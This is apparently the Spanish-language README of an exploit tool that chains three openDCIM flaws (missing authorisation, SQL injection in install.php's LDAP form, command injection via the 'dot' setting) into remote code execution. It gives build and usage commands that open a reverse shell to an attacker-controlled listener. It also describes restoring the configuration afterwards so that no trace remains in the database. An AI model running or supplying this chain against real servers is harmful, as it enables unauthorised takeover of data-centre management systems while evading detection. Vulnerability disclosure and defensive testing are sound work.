
Cadena SQLi a RCE en openDCIM install.php (CWE-862 + CWE-89 + CWE-78)
Cadena de ejecución remota de código dirigida al formulario de configuración LDAP de install.php de openDCIM. Construido sobre el framework VulnCheck go-exploit.
| # | CVE | CWE | Descripción |
|---|---|---|---|
| 1 | CVE-2026-28515 | CWE-862 | install.php no realiza ninguna comprobación de rol antes del formulario de configuración LDAP - cualquier usuario puede acceder a él |
| 2 | CVE-2026-28516 | CWE-89 | Config::UpdateParameter() usa interpolación de cadenas, consultas apiladas vía PDO+MySQL |
| 3 | CVE-2026-28517 | CWE-78 | report_network_map.php pasa el valor de configuración dot directamente a exec() |
Afectados: Todas las versiones (probado en el último commit 4467e9c4)
install.php - la inyección SQL a través del formulario LDAP respalda la configuración, sobrescribe dot con un payload de comandoreport_network_map.php - activa exec(), confirma RCE mediante la salida de idinstall.php - sobrescribe dot con un payload de reverse shellreport_network_map.php - activa el reverse shellinstall.php - restaura todos los valores de configuración originales desde la tabla de respaldoCero rastros dejados en la base de datos después de la explotación.
go build -o opendcim-exploit .
# Solo escaneo
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80
# Explotación con reverse shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass
./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer
| Flag | Default | Descripción |
|---|
-rhost | Host objetivo | |
-rport | 80 | Puerto objetivo |
-ssl | false | Usar HTTPS |
-lhost | Host del listener (para reverse shell) | |
-lport | Puerto del listener (para reverse shell) | |
-c2 | Tipo de C2: SimpleShellServer o SSLShellServer | |
-username | Usuario de autenticación básica HTTP (omitir para despliegues SetEnv) | |
-password | Contraseña de autenticación básica HTTP (omitir para despliegues SetEnv) | |
-a | Detección de activos (comprobar si el objetivo es explotable) | |
-e | Modo explotación |